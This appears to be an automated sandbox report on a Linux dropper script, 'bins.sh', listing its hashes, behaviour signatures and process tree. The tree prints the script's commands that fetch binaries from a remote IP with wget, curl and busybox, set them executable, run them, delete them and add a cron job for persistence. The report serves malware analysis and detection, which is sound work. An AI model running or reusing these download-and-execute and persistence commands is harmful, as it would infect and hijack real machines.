Analysis

  • max time kernel
    151s
  • max time network
    156s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    05-11-2024 02:43

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    701c9675dc7807d17a43199356d85a0b

  • SHA1

    3fef590ee0fbc9d16043732e239342d6d0dbaff6

  • SHA256

    b72cf0c01db021d59068dd1bdd23a4610251b9fb3b7081130fb12d9723296078

  • SHA512

    32b9af3d088dc5e91d175f39ff8135976ab85f304aa319422f45de4dd836940b6687a19049e8c0b3ed847525c4c9f3d792dcb0df02e2c26f5dd91d3821532768

  • SSDEEP

    192:HCVZUrDyiNRg1FX8s1i2a0W90w0ArTQgLau9EUFilVZUrDnNRg1FH8s1i2I0W90M:HciNRg1FX8s1i2rW+NArTQgLau9EUFiK

Malware Config

Signatures

  • Contacts a large (1635) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 3 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 3 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 9 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:703
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:709
        • /usr/bin/wget
          wget http://87.120.84.230/bins/wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA
          2⤵
          • Writes file to tmp directory
          PID:710
        • /usr/bin/curl
          curl -O http://87.120.84.230/bins/wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:721
        • /bin/busybox
          /bin/busybox wget http://87.120.84.230/bins/wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA
          2⤵
          • Writes file to tmp directory
          PID:733
        • /bin/chmod
          chmod 777 wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA
          2⤵
          • File and Directory Permissions Modification
          PID:734
        • /tmp/wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA
          ./wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA
          2⤵
          • Executes dropped EXE
          PID:735
        • /bin/rm
          rm wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA
          2⤵
            PID:738
          • /usr/bin/wget
            wget http://87.120.84.230/bins/R1xY4pNMtit9bYe4kIQZVOlsqE7LrOZMGB
            2⤵
            • Writes file to tmp directory
            PID:739
          • /usr/bin/curl
            curl -O http://87.120.84.230/bins/R1xY4pNMtit9bYe4kIQZVOlsqE7LrOZMGB
            2⤵
            • Writes file to tmp directory
            PID:740
          • /bin/busybox
            /bin/busybox wget http://87.120.84.230/bins/R1xY4pNMtit9bYe4kIQZVOlsqE7LrOZMGB
            2⤵
            • Writes file to tmp directory
            PID:741
          • /bin/chmod
            chmod 777 R1xY4pNMtit9bYe4kIQZVOlsqE7LrOZMGB
            2⤵
            • File and Directory Permissions Modification
            PID:742
          • /tmp/R1xY4pNMtit9bYe4kIQZVOlsqE7LrOZMGB
            ./R1xY4pNMtit9bYe4kIQZVOlsqE7LrOZMGB
            2⤵
            • Executes dropped EXE
            PID:743
          • /bin/rm
            rm R1xY4pNMtit9bYe4kIQZVOlsqE7LrOZMGB
            2⤵
              PID:745
            • /usr/bin/wget
              wget http://87.120.84.230/bins/Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi
              2⤵
              • Writes file to tmp directory
              PID:746
            • /usr/bin/curl
              curl -O http://87.120.84.230/bins/Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi
              2⤵
              • Writes file to tmp directory
              PID:747
            • /bin/busybox
              /bin/busybox wget http://87.120.84.230/bins/Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi
              2⤵
              • Writes file to tmp directory
              PID:751
            • /bin/chmod
              chmod 777 Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi
              2⤵
              • File and Directory Permissions Modification
              PID:752
            • /tmp/Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi
              ./Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi
              2⤵
              • Executes dropped EXE
              • Renames itself
              • Reads runtime system information
              PID:753
              • /bin/sh
                sh -c "crontab -l"
                3⤵
                  PID:755
                  • /usr/bin/crontab
                    crontab -l
                    4⤵
                      PID:756
                  • /bin/sh
                    sh -c "crontab -"
                    3⤵
                      PID:757
                      • /usr/bin/crontab
                        crontab -
                        4⤵
                        • Creates/modifies Cron job
                        PID:762
                  • /bin/rm
                    rm Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi
                    2⤵
                      PID:759
                    • /usr/bin/wget
                      wget http://87.120.84.230/bins/627uNCgl5PZFB0dmWdtRjBSbPex18hIKZg
                      2⤵
                        PID:852

                    Network

                    MITRE ATT&CK Enterprise v15

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    • /tmp/Lsm3nZ3qxwhFjfAO5iANx2QvxcdaduFkHi

                      Filesize

                      151KB

                      MD5

                      3c90d5820bddcf7c5d1bd21dfa49d958

                      SHA1

                      5ba05bd489e50af97d6dc45e3a0be60e494d5083

                      SHA256

                      bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                      SHA512

                      54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                    • /tmp/R1xY4pNMtit9bYe4kIQZVOlsqE7LrOZMGB

                      Filesize

                      127KB

                      MD5

                      89077b7bd4bcafca7713be43635c4862

                      SHA1

                      fc02edb8fba29ea8ee99e6157ef8560334530052

                      SHA256

                      78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                      SHA512

                      1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                    • /tmp/wsNLDemhzGiyx8U5rSjD6mqMzeOa61ZxJA

                      Filesize

                      141KB

                      MD5

                      3ca8decdb1e52c423c521bfff02ac200

                      SHA1

                      8621ecd6807109b8541912ad9e134f6fb49bfd48

                      SHA256

                      dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                      SHA512

                      b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                    • /var/spool/cron/crontabs/tmp.lfTe6o

                      Filesize

                      210B

                      MD5

                      54bd9694666877787d4e5c20870a26d0

                      SHA1

                      a9fea43a8f4396b1309ca7224bee7b4d5d209ebf

                      SHA256

                      fc10d93e1d1bc484fc37f9bc4992fadd5299a6198ab41031b8011db6bc6cf4e0

                      SHA512

                      40849a01bf5627da2b3948774e240ee6d6ff96d6979f26718f2c5d32da63f6ff0edea86d859ff8b423dd53507d844c520b78445187ea6a44f42d44355f578293